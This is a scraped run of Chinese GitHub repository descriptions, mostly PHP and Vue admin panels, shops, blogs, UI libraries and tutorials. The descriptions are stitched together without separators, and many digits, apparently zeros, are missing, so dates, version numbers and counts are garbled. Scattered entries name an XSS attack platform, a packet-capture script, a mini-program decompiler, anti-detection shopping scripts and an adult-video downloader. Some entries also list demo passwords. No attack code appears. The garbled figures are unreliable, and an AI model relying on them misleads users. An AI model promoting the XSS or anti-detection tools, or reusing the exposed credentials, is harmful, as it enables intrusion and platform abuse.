17916227Yii2 community 请访问淘客5合一SDK 支持淘宝联盟 京东联盟 多多进宝 唯品会 苏宁基于 thinkphp 开发的的 blogMojito Admin 基于 Laravel Vue Element 构建的后台管理系统一个经典的XSS渗透管理平台一款基于 RageFrame2 的免费开源的基础销售功能的商城基于Laravel 5 4 的开发的博客系统 代号 myPersimmon证件照片排版在线生成器 在一张6寸的照片上排版多张证件照清华大学计算机学科推荐学术会议和期刊列表WordPress响应式免费主题 Art Blog唯品秀博客 weipxiu com 备用域名weipxiu cn 开源给小伙伴免费使用 如使用过程有任何问题 在线技术支持QQ 欢迎打扰 原创不易 如喜欢 请多多打赏 演示 EwoMail是基于Linux的企业邮箱服务器 集成了众多优秀稳定的组件 是一个快速部署 简单高效 多语言 安全稳定的邮件解决方案 笔记本新版简单强大的无数据库的图床2 版 演示地址 Bilibili B 站自动领瓜子 直播助手 直播挂机脚本 主站助手 PHP 版微信群二维码活码工具 生成微信群活码 随时可以切换二维码 短视频的PHP拓展包 集成各大短视频的去水印功能 抖音 快手 微视主流短视频 PHP去水印一个PHPer的升级之路酷瓜云课堂 在线教育 网课系统 网校系统 知识付费系统 不加密不阉割 1 %全功能开源 可免费商用 框架主要使用ThinkPHP6 layui 拥有完善的权限的管理模块以及敏捷的开发方式 让你开发起来更加的舒服 laravel5 5搭建的后台管理 和 api服务 的小程序商城基于ThinkPHP5 AdminLTE的后台管理系统魔改版本 为 OLAINDEX 添加多网盘挂载及一些小修复海豚PHP 基于ThinkPHP5 1 41LTS的快速开发框架挂载Teambition文件 可直链分享 支持网盘 需申请 和项目文件 无需邀请码 准确率99 9%的ip地址定位库laravel ant design vue 权限后台PHP 第三方登录授权 SDK 集成了QQ 微信 微博 Github等常用接口 支持 php fpm 和 Swoole 所有框架通用 QQ群 17916227抖音去水印PHP版接口一个分布式统计监控系统 包含PHP客户端 服务端整合多接口的IP查询工具 基于阿里云OSS的WordPress远程附件支持插件 后会有期 开箱即用的Laravel后台扩展 前后端分离 后端控制前端组件 无需编写vue即可创建一个的项目 丰富的表单 表格组件 强大的自定义组件功能 yii2 swoole 让yii2运行在swoole上胖鼠采集 WordPress优秀开源采集插件CatchAdmin是一款基于thinkphp6 和 element admin 开发的后台管理系统 基于 ServiceProvider 系统模块完全接耦 随时卸载安装模块 提供了完整的权限和数据权限等功能 大量内置的开发工具提升你的开发体验 官网地址 微信公众平台php版开发包微信小程序 校园小情书后台源码 好玩的表白墙 告白墙 功能全面的PHP命令行应用库 提供控制台参数解析 命令运行 颜色风格输出 用户信息交互 特殊格式信息显示基于 chinese poetry 数据整理的一份 mysql 格式数据帮助 thinkphp 5 开发者快速 轻松的构建Api hyperf admin 是基于 hyperf vue 的配置化后台开发工具 微信支付php 写的视频下载工具 现已支持 Youku Miaopai 腾讯 XVideos Pornhub 91porn 微博酷燃 bilibili 今日头条 芒果TVCorePress 主题 一款高性能 高颜值的WordPress主题快链电商 直播电商 分销商城 微信小程序商城 APP商城 公众号商城 PC商城系统 支付宝小程序商城 抖音小程序商城 百度小程序电商系统 前后端代码全部开源 Laravel vue开发 成熟商用项目 shop mall 商城 电商 利用 PHP cURL 转发 Disqus API 请求可能是最优雅 简易的淘宝客SDKUniAdmin是一套渐进式模块化开源后台 采用前后端分离技术 数据交互采用json格式 功能低耦合高内聚 核心模块支持系统设置 权限管理 用户管理 菜单管理 API管理等功能 后期上线模块商城将打造类似composer npm的开放式插件市场 同时我们将打造一套兼容性的API标准 从ThinkPHP5 1 Vue2开始 逐步吸引爱好者共同加入 以覆盖等多语言框架 PHP 多接口获取快递物流信息包LightCMS 是一个基于 Laravel 开发的轻量级 CMS 系统 也可以作为一个通用的后台管理框架使用单点登录系统快乐二级域名分发系统Typecho Theme Story 爱上你我的故事 一个轻量化的留言板 记事本 社交系统 博客 人类的本质是 咕咕咕?微信域名拦截检测 QQ域名拦截检测 t xzkxb com 查询有缓存 如需实时查询请自行部署 高性能分布式并发锁 行为限流Emlog是一款基于PHP和MySQL的功能强大的博客及CMS建站系统 追求快速 稳定 简单 舒适的建站体验Hyperf admin 基于Hyperf Element UI 通用管理后台企业仓库管理系统HisiPHP V2版是基于ThinkPHP5 1和Layui开发的后台框架 承诺永久免费开源 您可用于学习和商用 但须保留版权信息正常显示 如果HisiPHP对您有帮助 您可以点击右上角 Star 支持一下哦 谢谢 使用PHP开发的简约导航 书签管理系统 软擎是基于 Php 7 2 和 Swoole 4 4 的高性能 简单易用的开发框架 支持同时在 Swoole Server 和 php fpm 两种模式下运行 内置了服务 集成了大量成熟的组件 可以用于构建高性能的Web系统 API 中间件 基础服务等等 个人发卡源码 发卡系统 二次元发卡系统 二次元发卡源码 发卡程序 动漫发卡 PHP发卡源码聊天应用 php实现的dht爬虫搭建的webim客服系统 即时通讯一些实用的python脚本同城拼车微信小程序后端代码 一个响应式干净和简洁优雅的 Typecho 主题php仓库进销存深度学习5 问 以问答形式对常用的概率知识 线性代数 机器学习 深度学习 计算机视觉等热点问题进行阐述 以帮助自己及有需要的读者 全书分为18个章节 5 余万字 由于水平有限 书中不妥之处恳请广大读者批评指正 未完待续 如有意合作 联系scutjy2 15 163 com 版权所有 违权必究 Tan 2 18 6题解 记录自己的leetcode解题之路 最全中华古诗词数据库 唐宋两朝近一万四千古诗人 接近5 5万首唐诗加26万宋诗 两宋时期1564位词人 21 5 首词 uni app 是使用 Vue 语法开发小程序 H5 App的统一框架采用自身模块规范编写的前端 UI 框架 遵循原生 HTML CSS JS 的书写形式 极低门槛 拿来即用 我是依扬 木易杨 公众号 高级前端进阶 作者 每天搞定一道前端大厂面试题 祝大家天天进步 一年后会看到不一样的自己 YApi 是一个可本地部署的 打通前后端及QA的 可视化的接口管理平台小程序组件化开发框架网易云音乐 Node js API service基于 Vue js 的小程序开发框架 从底层支持 Vue js 语法和构建工具体系 ECMAScript 6入门 是一本开源的 JavaScript 语言教程 全面介绍 ECMAScript 6 新增的语法特性 谷粒 Chrome插件英雄榜 为优秀的Chrome插件写一本中文说明书 让Chrome插件英雄们造福人类公众号 加1 同步更新前端面试每日 3 1 以面试题来驱动学习 提倡每日学习与思考 每天进步一点 每天早上5点纯手工发布面试题 死磕自己 愉悦大家 4 道前端面试题全面覆盖小程序 软技能 本文原文由知名 Hacker Eric S Raymond 所撰寫 教你如何正確的提出技術問題並獲得你滿意的答案 千古前端图文教程 超详细的前端入门到进阶学习笔记 从零开始学前端 做一名精致优雅的前端工程师 公众号 千古壹号 作者 book Node js 包教不包会 by alsotang收集所有区块链 BlockChain 技术开发相关资料 包括Fabric和Ethereum开发资料轻量 可靠的小程序 UI 组件库微信小程序商城 微信小程序微店一个可以观看国内主流视频平台所有视频的客户端可伸缩布局方案基于 node js Mongodb 构建的后台系统 js 源码解析磁力链接聚合搜索中华人民共和国行政区划 省级 省份直辖市自治区 地级 城市 县级 区县 乡级 乡镇街道 村级 村委会居委会 中国省市区镇村二级三级四级五级联动地址数据 Web接口管理工具 开源免费 接口自动化 MOCK数据自动生成 自动化测试 企业级管理 阿里妈妈MUX团队出品 阿里巴巴都在用 1 公司的选择 RAP2已发布请移步至github com thx rap2 delosKuboard 是基于 Kubernetes 的微服务管理界面 同时提供 Kubernetes 免费中文教程 入门教程 最新版本的 Kubernetes v1 2 安装手册 k8s install 在线答疑 持续更新 ApacheCN 数据结构与算法译文集 chick 是使用 Node js 和 MongoDB 开发的社区系统一个非常适合IT团队的在线API文档 技术文档工具 Chinese sticker pack More joy 表情包的博物馆 Github最有毒的仓库 中国表情包大集合 聚欢乐 高颜值的第三方网易云播放器 支持 Windows macOS Linux vue2 vue router vuex 入门项目网易云音乐第三方 Flutter实战 电子书 一套代码运行多端 一端所见即多端所见 计算机速成课 Crash Course 字幕组 全4 集 2 18 5 1 精校完成 一个 react redux 的完整项目 和 个人总结中文独立博客列表CSS Inspiration 在这里找到写 CSS 的灵感 rich text 富文本编辑器 汉字拼音 hàn zì pīn yīn Chrome插件开发全攻略 配套完整Demo 欢迎clone体验微信调试 各种WebView样式调试 手机浏览器的页面真机调试 便捷的远程调试手机页面 抓包工具 支持 HTTPS 无需USB连接设备 master分支 渲染器 微信小程序组件 API 云开发示例简悦 SimpRead 让你瞬间进入沉浸式阅读的扩展让H5制作像搭积木一样简单 轻松搭建H5页面 H5网站 PC端网站 LowCode平台 一套组件化 可复用 易扩展的微信小程序 UI 组件库这是一个数据可视化项目 能够将历史数据排名转化为动态柱状图图表微信小程序图表charts组件 Charts for WeChat small app类似易企秀的H5制作 建站工具 可视化搭建系统 一个在你编程时疯狂称赞你的 VSCode 扩展插件全家桶后台管理框架解锁网易云音乐客户端变灰歌曲美观易用的React富文本编辑器 基于draft js开发一个致力于微信小程序和 Web 端同构的解决方案從零開始學 ReactJS ReactJS 1 1 是一本希望讓初學者一看就懂的 React 中文入門教學書 由淺入深學習 ReactJS 生態系源码解读 系列文章 完 我就是来分享脚本玩玩的开发者边车 github打不开 github加速 git clone加速 git release下载加速 stackoverflow加速vue源码逐行注释分析 4 多m的vue源码程序流程图思维导图 diff部分待后续更新 微信小程序解决方案 1KB javascript 覆盖状态管理 跨页通讯 插件开发和云数据库开发给老司机用的一个番号推荐系统 FeHelper Web前端助手记录成长的过程哔哩哔哩 bilibili com 辅助工具 可以替换播放器 推送通知并进行一些快捷操作提供了百度坐标 BD 9 国测局坐标 火星坐标 GCJ 2 和WGS84坐标系之间的转换F2etest是一个面向前端 测试 产品等岗位的多浏览器兼容性测试整体解决方案 ️ 阿里飞猪 很易用的中后台 表单 表格 图表 解决方案CRMEB Min 前后端分离版自带客服系统 是CRMEB品牌全新推出的一款轻量级 高性能 前后端分离的开源电商系统 完善的后台权限管理 会员管理 订单管理 产品管理 客服管理 CMS管理 多端管理 页面DIY 数据统计 系统配置 组合数据管理 日志管理 数据库管理 一键开通短信 产品采集 物流查询等接口 React技术揭秘 一本自顶向下的React源码分析书微信小程序 基于wepy 商城 微店 微信小程序 欢迎学习交流大屏数据可视化Pytorch 中文文档经典的网页对话框组件 强大的动态表单生成器 简洁 易用 灵活的微信小程序组件库 一款 Material Design 风格的 Hexo 主题签到一个帮助你自动申请京东价格保护的chrome拓展后台admin前端模板 基于 layui 编写的最简洁 易用的后台框架模板 只需提供一个接口就直接初始化整个框架 无需复杂操作 小程序生成图片库 轻松通过 json 方式绘制一张可以发到朋友圈的图片安卓应用层抓包通杀脚本一个轻量的工具集合婚礼大屏互动 微信请柬一站式解决方案mili 是一个开源的社区系统 界面优雅 功能丰富 丝般顺滑的触摸运动方案做最好的接口管理平台Mpx 一款具有优秀开发体验和深度性能优化的增强型跨端小程序框架省市区县乡镇三级或四级城市数据 带拼音标注 坐标 行政区域边界范围 2 21年 7月 3日最新采集 提供csv格式文件 支持在线转成多级联动js代码 通用json格式 提供软件转成shp geojson sql 导入数据库 带浏览器里面运行的js采集源码 综合了中华人民共和国民政部 国家统计局 高德地图 腾讯地图行政区划数据在vscode中用于生成文件头部注释和函数注释的插件 经过多版迭代后 插件 支持所有主流语言 功能强大 灵活方便 文档齐全 食用简单 觉得插件不错的话 点击右上角给个Star ️呀 JAVClub 让你的大姐姐不再走丢️你想要的最全 Android 进阶路线知识图谱 干货资料收集 开发者推荐阅读的书籍 2 2 淘宝 京东 支付宝双十一 双11全民养猫 全民营业自动化脚本 全额奖励 防检测 一款高性能敏感词 非法词 脏字 检测过滤组件 附带繁体简体互换 支持全角半角互换 汉字转拼音 模糊搜索等功能 前端博客 关注基础知识和性能优化 vue cli4配置vue config js持续更新PT 助手 Plus 为 Google Chrome 和 Firefox 浏览器插件 Web Extensions 主要用于辅助下载 PT 站的种子 基于vue2 koa2的 H5制作工具 让不会写代码的人也能轻松快速上手制作H5页面 类似易企秀 百度H5等H5制作 建站工具最全最新中国省 市 地区json及sql数据首个 Taro 多端统一实例 网易严选 小程序 H5 React Native By 趣店 FED地理信息可视化库企业级 Node js 应用性能监控与线上故障定位解决方案 Node js区块链开发 注 新版代码已开源 请star支持哦 基于Auto js的蚂蚁森林能量自动收取脚本 结巴 中文分词的Node js版本 译 面向机器学习的特征工程webfunny是一款轻量级的前端监控系统 webfunny也是一款前端性能监控系统 无埋点监控前端日志 实时分析前端健康状态一个实现汉字与拼音互转的小巧web工具库 演示地址 前端进阶 优质博文 一个 Chrome 插件 将 Google CDN 替换为国内的 Vue ElementUI构建的CMS开发框架超完整的React Native项目 功能丰富 适合学习和日常使用 GSYGithubApp系列的优势 我们目前已经拥有四个版本 功能齐全 项目框架内技术涉及面广 完成度高 配套文章 适合全面学习 对比参考 开源Github客户端App 更好的体验 更丰富的功能 旨在更好的日常管理和维护个人Github 提供更好更方便的驾车体验Σ 同款Weex版本同款Flutter版本 https github com CarGu 群 宇宙最强的前端面试指南 lucifer ren fe interview 微慕小程序开源版 WordPress版微信小程序函数式编程指北中文版Node js面试题 侧重后端应用与对Node核心的理解jQuery源码解析小白入坑vue三部曲 关于 vue 在工作的使用问题总结 请看博客 sunseekers github io 一直保持更新基于 Vue 的 PWA 解决方案 帮助开发者快速搭建 PWA 应用 解决接入 PWA 的各种问题ThinkCMF是一款支持Swoole的开源内容管理框架 基于ThinkPHP开发 同时支持PHP FPM和Swoole双模式 让WEB开发更快 微信小程序图片裁剪工具前端知识月刊Next Terminal是一个轻量级堡垒机系统 易安装 易使用 支持RDP SSH VNC Telnet Kubernetes协议 微信小程序 日历组件 基于 ueditor的更现代化的富文本编辑器 支持HTTPS基于JavaScript React Vue2的流程图组件 采用Spring MyBatis Shiro框架 开发的一套权限系统 极低门槛 拿来即用 设计之初 就非常注重安全性 为企业系统保驾护航 让一切都变得如此简单 QQ群 32478 2 4 145799952 一个前端的博客 春松客服 多渠道智能客服系统 开源客服系统 机器人客服一个工作流平台小程序 小游戏以及 Web 通用 Canvas 渲染引擎 在线工具秘籍 为在线工具写一本优质说明书 让在线工具造福人类 前端内参 有关于JavaScript 编程范式 设计模式 软件开发的艺术等大前端范畴内的知识分享 旨在帮助前端工程师们夯实技术基础以通过一线互联网企业技术面试 ️ vCards 中国黄页 优化 iOS Android 来电 信息界面体验各平台的分流规则 复写规则及自动化脚本 基于vue2 的实时聊天项目 图片剪裁上传组件 等笔记快速分享 GoogleDrive OneDrive 每日时报 以前端技术体系为主要分享课题 根据 文章 工具 新闻 视频几大板块作为主要分类 一款高效 高性能的帧动画生成工具 停止维护 一个在线音乐播放器 仅 UI 无功能 小程序富文本组件 支持渲染和编辑 html 支持在微信 QQ 百度 支付宝 头条和 uni app 平台使用基于 electron vue 开发的音乐播放器 界面模仿QQ音乐 技术栈欢迎starweui 是在weui和zepto基础上开发的增强UI组件 目前分为表单 基础 组件 js插件四大类 共计百余项功能 是最全的weui样式同步和更新大佬脚本库 更新懒人配置腾讯云即时通信 IM 服务 国内下载镜像 基于 Vue 的小程序开发框架React 16 8打造精美音乐WebAppWK系列开发框架 V1至V5 Java开源企业级开发框架 单应用 微服务 分布式 ️中国 省市区 三级联动 地址选择器 微信小程序2d动画库 分布式 Redis缓存 Shiro权限管理 Spring Session单点登录 Quartz分布式集群调度 Restful服务 QQ 微信登录 App token登录 微信 支付宝支付 日期转换 数据类型转换 序列化 汉字转拼音 身份证号码验证 数字转人民币 发送短信 发送邮件 加密解密 图片处理 excel导入导出 FTP SFTP fastDFS上传下载 二维码 XML读写 高精度计算 系统配置工具类等等 EduSoho 网络课堂是由杭州阔知网络科技有限公司研发的开源网校系统 EduSoho 包含了在线教学 招生和管理等完整功能 让教育机构可以零门槛建立网校 成功转型在线教育 EduSoho 也可作为企业内训平台 帮助企业实现人才培养 自用的一些乱七八糟 油猴脚本 为刚刚学习php语言以及web网站开发整理的一套资源 有视频 实战代码 学习路径等 会持续更新 This is a goindex theme 一个goindex的扩展主题 NumPy官方中文文档 完整版 搭建移动端开发 基于适配方案 axios封装 构建手机端模板脚手架 后台管理 脚手架接口 从简单开始 PhalApi简称π框架 一个轻量级PHP开源接口框架 专注于接口服务开发 前端特效存档Chrome浏览器 抢购 秒杀插件 秒杀助手 定时自动点击云存储管理客户端 支持七牛云 腾讯云 青云 阿里云 又拍云 亚马逊S3 京东云 仿文件夹管理 图片预览 拖拽上传 文件夹上传 同步 批量导出URL等功能font carrier是一个功能强大的字体操作库 使用它你可以随心所欲的操作字体 让你可以在svg的维度改造字体的展现形状 CRN是Ctrip React Native简称 由携程无线平台研发团队基于React Native框架优化 定制成稳定性和性能更佳 也更适合业务场景的跨平台开发框架 油猴脚本页面浮窗广告完全过滤净化 国服最强最全最新CSDN脚本微信小程序即时通讯模板 使用WebSocket通信小程序反编译 支持分包 “想学吗”个人知识管理与自媒体营销工具 超多经典 Canvas 实例 动态离子背景 炫彩小球 贪吃蛇 坦克大战 是男人就下1 层 心形文字等 Vue UEditor v model双向绑定 HQChart H5 微信小程序 沪深 港股 数字货币 期货 美股 K线图 kline 走势图 缩放 拖拽 十字光标 画图工具 截图 筹码图 分析家语法 通达信语法 麦语法 第3方数据替换接口基于koa2的标准前后端分离框架 一款企业信息化开发基础平台 拟集成OA 办公自动化 CMS 内容管理系统 等企业系统的通用业务功能 JeePlatform项目是一款以SpringBoot为核心框架 集ORM框架Mybatis Web层框架SpringMVC和多种开源组件框架而成的一款通用基础平台 代码已经捐赠给开源中国社区基于inception的自动化SQL操作平台 支持SQL执行 LDAP认证 发邮件 OSC SQL查询 SQL优化建议 权限管理等功能 支持docker镜像是一款专门面向个人 团队和小型组织的私有网盘系统 轻量 开源 完善 无论是在家庭 学校还是在办公室 您都能立刻开始使用它 了解更多请访问官方网站 Node js API 中文文档dubbo服务管理以及监控系统拯救B站的弹幕体验 对抗假消息系列项目之一 截屏 实锤?相信你就输了 ”突破性“更新 支持修改任何网站 ️一个简洁 优雅且高效的 Hugo 主题Vue js 示例项目 简易留言板 本项目拥有完善的文档说明与注释 让您快速上手 Vue js 开发? Vue Validator? Vuex?最佳实践基于 Node js Koa2 实战开发的一套完整的博客项目网站 用 React 编写的基于Taro Dva构建的适配不同端 微信 百度 支付宝小程序 H5 React Native 等 的时装衣橱信息泄漏监控系统 伪装115浏览器干爆前端 一网打尽前端面试 学习路径 优秀好文等各类内容 帮助大家一年内拿到期望的 offer 前端性能监控系统 消息队列 高可用 集群等相关架构SpringBoot v2项目是努力打造springboot框架的极致细腻的脚手架 包括一套漂亮的前台 无其他杂七杂八的功能 原生纯净 中文文本标注工具 最全最新中国 省 市 区县 乡镇街道 json csv sql数据 一款轻巧的渐进式微信小程序框架 全网 1 w 阅读量的进阶前端技术博客仓库 Vue 源码解析 React 深度实践 TypeScript 进阶艺术 工程化 性能优化实践 完整开源 Java快速开发平台 基于Spring SpringMVC Mybatis架构 MStore提供更多好用的插件与模板 文章 商城 微信 论坛 会员 评论 支付 积分 工作流 任务调度等 同时提供上百套免费模板任意选择 价值源自分享 铭飞系统不仅一套简单好用的开源系统 更是一整套优质的开源生态内容体系 铭飞的使命就是降低开发成本提高开发效率 提供全方位的企业级开发解决方案 每月28定期更新版本WeHalo 简约风 的微信小程序版博客 基于 vue2 vuex 构建一个具有 45 个页面的大型单页面应用基于Vue3 Element Plus 的后台管理系统解决方案基于 vue element ui 的后台管理系统鲜亮的高饱和色彩 专注视觉的小程序组件库 ️ 跨平台桌面端视频资源播放器 简洁无广告 免费高颜值 后台管理主线版本基于三者并行开发维护 同时支持电脑 手机 平板 切换分支查看不同的vue版本 element plus版本已发布 vue3 vue3 vue vue3 x vue js 程序无国界 但程序员有国界 中国国家尊严不容挑衅 如果您在特殊时期 mall admin web是一个电商后台管理系统的前端项目 基于Vue Element实现 主要包括商品管理 订单管理 会员管理 促销管理 运营管理 内容管理 统计报表 财务管理 权限管理 设置等功能 一款完善的安全评估工具 支持常见 web 安全问题扫描和自定义 poc 使用之前务必先阅读文档Vue数据可视化组件库 类似阿里DataV 大屏数据展示 提供SVG的边框及装饰 图表 水位图 飞线图等组件 简单易用 长期更新 React版已发布 UI表单设计及代码生成器基于Vue的可视化表单设计器 让表单开发简单而高效 基于vue的高扩展在线网页制作平台 可自定义组件 可添加脚本 可数据统计 vue后台管理框架 精致的下拉刷新和上拉加载 js框架 支持vue 完美运行于移动端和主流PC浏览器 基于vue2 vuex element ui后台管理系统 Vue js高仿饿了么外卖App课程源码 coding imooc com class 74 html京东风格移动端 Vue2 Vue3 组件库eladmin前端源码 项目基于的前后端分离后台管理系统 权限控制采用 RBAC 菜单动态路由资源采集站在线播放uView UI 是uni app生态最优秀的UI框架 全面的组件和便捷的工具会让您信手拈来 如鱼得水Vue2 全家桶仿 微信App 项目 支持多人在线聊天和机器人聊天前端vue 后端koa 全栈式开发bilibili首页 A magical vue admin 记得star互联网大厂内推及大厂面经整理 并且每天一道面试题推送 每天五分钟 半年大厂中 Vue3 全家桶 Vant 搭建大型单页面商城项目 新蜂商城 Vue3 版本 技术栈为基于Vue开发的XMall商城前台页面 PC端 Vue全家桶 Vant 搭建大型单页面电商项目 ddbuy 7 orange cn前后端分离权限管理系统 精力有限 停止维护 用 Vue js 开发的跨三端应用Prototyping Tool For Vue Devs 适用于Vue的原型工具实战商城 基于Vue2 高仿微信App的单页应用electron跨平台音乐播放器 可搜网易云 QQ音乐 虾米音乐 支持QQ 微博 Github登录 云歌单 支持一键导入音乐平台歌单ThorUI组件库 轻量 简洁的移动端组件库 组件文档地址 thorui cn doc 最近更新时间 2 21 5 28uni app框架演示示例 Electron Vue 仿网易云音乐windows客户端 基于 Vue2 Vue CLI3 的高仿网易云 mac 客户端播放器 PC Online Music PlayerGitHub 泄露监控系统pear 梨子 轻量级的在线项目 任务协作系统 远程办公协作自选基金助手是一款Chrome扩展 用来快速获取关注基金的实时数据 查看自选基金的实时估值情况支持 markdown 渲染的博客前台展示Vue 音乐搜索 播放 Demo 一个基于 vue2 vue3 的 大转盘 九宫格 抽奖插件奖品 文字 图片 颜色 按钮均可配置 支持同步 异步抽奖 概率前 后端可控 自动根据 dpr 调整清晰度适配移动端 基于 Vue 的在线音乐播放器 PC Online music player美团饿了吗外卖红包外卖优惠券 先领红包再下单 外卖红包优惠券 cps分成 别人领红包下单 你拿佣金 讨论如何构建一套可靠的大型分布式系统用 vue 写小程序 基于 mpvue 框架重写 weui 基于Vue框架构建的github数据可视化平台使用GitHub API 搭建一个可动态发布文章的博客可视化拖拽组件库 DEMO基于开源组件 Inception SQLAdvisor SOAR 的SQL审核 SQL优化的Web平台显示当前网站的所有可用Tampermonkey脚本 专注Web与算法无缝滚动component精通以太坊 中文版 网页模拟桌面基于的多模块前后端分离的博客项目网易云音乐 QQ音乐 咪咕音乐 第三方 web端 可播放 vip 下架歌曲 基于权限管理的后台管理系统基于 Node js 的开源个人博客系统 采用 Nuxt Vue TypeScript 技术栈 一款简洁高效的VuePress知识管理 博客 blog 主题基于uni app的ui框架基于Vue Vuex iView的电子商城网站 Vue2 全家桶 Vant 搭建大型单页面商城项目 新蜂商城前后端分离版本 前端Vue项目源码酷狗 ️ 极客猿梦导航 独立开发者的导航站 Vue SpringBoot MyBatis 音乐网站基于 RageFrame2 的一款免费开源的基础商城销售功能的开源微商城 基于vue2 的网易云音乐播放器 api来自于NeteaseCloudMusicApi v2 为最新版本编写的一套后台管理系统全栈开发王者荣耀手机端官网和管理后台基于 Vue3 x TypeScript 的在线演示文稿应用 实现PPT幻灯片的在线编辑 演示 基于vue2 生态的后台管理系统模板开发的后台管理系统 Vchat 从头到脚 撸一个社交聊天系统 vue node mongodb h5编辑器类似maka 易企秀 账号 密码 admin996 公司展示 讨论Vue Spring boot前后端分离项目 wh web wh server的升级版 基于element ui的数据驱动表单组件基于 GitHub API 开发的图床神器 图片外链使用 jsDelivr 进行 CDN 加速 免下载 免安装 打开网站即可直接使用 免费 稳定 高效 ️ Vue初 中级项目 CnodeJS社区重构预览 DEMO 基于vue2全家桶实现的 仿移动端QQ基于Vue Echarts 构建的数据可视化平台 酷炫大屏展示模板和组件库 持续更新各行各业实用模板和炫酷小组件 基于Spring Boot的在线考试系统 预览地址 129 211 88 191 账户分别是admin teacher student 密码是admin123 6pan 6盘小白羊 第二版 vue3 antd typescript on bone and knife 基于Vue 全家桶 2 x 制作的美团外卖APP 本项目是一款基于 Avue 的表单设计器 拖拽式操作让你快速构建一个表单 一刻社区前端源码基于Vue iView Admin开发的XBoot前后端分离开放平台前端 权限可控制至按钮显示 动态路由权限菜单 多语言 简洁美观 前后端分离 ️一个开源的社区程序 临时测试站 https t myrpg cnecharts地图geoJson行政边界数据的实时获取与应用 省市区县多级联动下钻 真正意义的下钻至县级 附最新geoJson文件下载 Vue的Nuxt js服务端渲染框架 NodeJS为后端的全栈项目 Docker一键部署 面向小白的完美博客系统vue瀑布流组件 vue waterfall easy 2 x Ego 移动端购物商城 vue vuex ruoter webpack Vue js Node js Mongodb 前后端分离的个人博客头像加口罩小程序 基于uniapp使用vue快速实现 广告月收入4k 基于vue3 的管理端模板教你如何打造舒适 高效 时尚的前端开发环境基于 Flask 和 Vue js 前后端分离的微型博客项目 支持多用户 Markdown文章 喜欢 收藏文章 粉丝关注 用户评论 点赞 动态通知 站内私信 黑名单 邮件支持 管理后台 权限管理 RQ任务队列 Elasticsearch全文搜索 Linux VPS部署 Docker容器部署等基于 vue 和 heyui 组件库的中后端系统 admin heyui topVue 轻量级后台管理系统基础模板uni app项目插件功能集合We川大小程序 scuplus 使用wepy开发的完善的校园综合小程序 4 页面 前后端开源 包括成绩 课表 失物招领 图书馆 新闻资讯等等常见校园场景功能一个全随机的刷装备小游戏一个vue全家桶入门Demo 是一個可以幫助您 Vue js 的項目測試及偵錯的工具 也同時支持 Vuex及 Vue Router 微信公众号管理系统 包含公众号菜单管理 自动回复 素材管理 模板消息 粉丝管理 ️等功能 前后端都开源免费 基于vue 的管理后台 配合Blog Core与Blog Vue等多个项目使用海风小店 开源商城 微信小程序商城管理后台 后台管理 VUE IT之家第三方小程序版客户端 使用 mpvue 开发 兼容 web vue 可以拖拽排序的树形表格 现代 Web 开发语法基础与工程实践 涵盖 Web 开发基础 前端工程化 应用架构 性能与体验优化 混合开发 React 实践 Vue 实践 WebAssembly 等多方面 数据大屏可视化编辑器一个适用于摄影从业者 爱好者 设计师等创意行业从业者的图像工具箱 武汉大学图书馆助手 桌面端基于form generator 仿钉钉审批流程创建 表单创建 流程节点可视化配置 必填条件及校验 一个完整electron桌面记账程序 技术栈主要使用electron vue vuetify 开机自动启动 自动更新 托盘最小化 闪烁等常用功能 Nsis制作漂亮的安装包 程序猿的婚礼邀请函 一个基于vue和element ui的树形穿梭框及邮件通讯录版本见示例见 基于Gin Vue Element UI的前后端分离权限管理系统的前端模块通用书籍阅读APP BookChat 的 uni app 实现版本 支持多端分发 编译生成Android和iOS 手机APP以及各平台的小程序基于Vue3的Material design风格移动端组件库进阶资深前端开发在线考试系统 springboot vue前后端分离的一个项目 ️ 无后端的仿 YouTube Live Chat 风格的简易 Bilibili 弹幕姬vue后端管理系统界面 基于ui组件iviewBilibili直播弹幕库 for Mac Windows LinuxVue高仿网易云音乐 基本实现网易云所有音乐 MV相关功能 现已更新到第二版 仅用于学习 下面有详细教程 武汉大学图书馆助手 移动端Zeus基于Golang Gin casbin 致力于做企业统一权限 账号中心管理系统 包含账号管理 数据权限 功能权限 应用管理 多数据库适配 可docker 一键运行 社区活跃 版本迭代快 加群免费技术支持 Vue高仿网易云音乐 Vue入门实践 在线预览 暂时停止基于 Vue 和 ElementUI 构建的一个企业级后台管理系统 ️ 跨平台移动端视频资源播放器 简洁免费 ZY Player 移动端 APP 基于 Uni app 开发 Vue实战项目基于参考小米商城 实现的电商项目 h5制作 移动端专题活动页面可视化编辑仿钉钉审批流程设置动态表单页面设计 自动生成页面微前端项目实战vue项目 基于vue3 qiankun2 进阶版 github com wl ui wl mfe基于 d2 admin的RBAC权限管理解决方案VueNode 是一套基于的前后端分离项目 基于仿京东淘宝的 移动端H5电商平台 巨树 基于ztree封装的Vue树形组件 轻松实现海量数据的高性能渲染 微信红包封面领取 用户观看视频广告或者邀请用户可获取微信红包序列号基于 Vue 的可视化布局编辑器插件kbone ui 是一套能同时支持 小程序 kbone 和 vue 框架开发的多端 UI 库 PS 新版 kbone ui 已出炉并迁移到 kbone 主仓库 此仓库仅做旧版维护之用 一个vue的个人博客项目 配合 net core api教程 打造前后端分离Tumo Blog For Vue js 前后端分离bpmn js流程设计器组件 基于vue elementui美化属性面板 满足9 %以上的业务需求专门为 Weex 前端开发者打造的一套高质量UI框架 想用vue把我现在的个人网站重新写一下 新的风格 新的技术 什么都是新的 本项目是一个在线聊天系统 最大程度的还原了Mac客户端QQ vue cli3 后台管理模板 heart 基于vue2和vuex的复杂单页面应用 2 页面53个API 仿实验楼 基于 Vue Koa 的 WebDesktop 视窗系统 Jeebase是一款前后端分离的开源开发框架 基于开发 一套SpringBoot后台 两套前端页面 可以自由选择基于ElementUI或者AntDesign的前端界面 二期会整合react前端框架 Ant Design React 在实际应用中已经使用这套框架开发了CMS网站系统 社区论坛系统 微信小程序 微信服务号等 后面会逐步整理开源 本项目主要目的在于整合主流技术框架 寻找应用最佳项目实践方案 实现可直接使用的快速开发框架 使用 vue cli3 搭建的vue vuex router element 开发模版 集成常用组件 功能模块JEECG BOOT APP 移动解决方案 采用uniapp框架 一份代码多终端适配 同时支持APP 小程序 H5 实现了与JeecgBoot平台完美对接的移动解决方案 目前已经实现登录 用户信息 通讯录 公告 移动首页 九宫格等基础功能 明日方舟工具箱 支持中台美日韩服vue的验证码插件这里有一些标准组件库可能没有的功能组件 已有组件 放大镜 签到 图片标签 滑动验证 倒计时 水印 拖拽 大家来找茬 基于Vue2 Nodejs MySQL的博客 有后台管理系统 支持 登陆 注册 留言 评论 回复 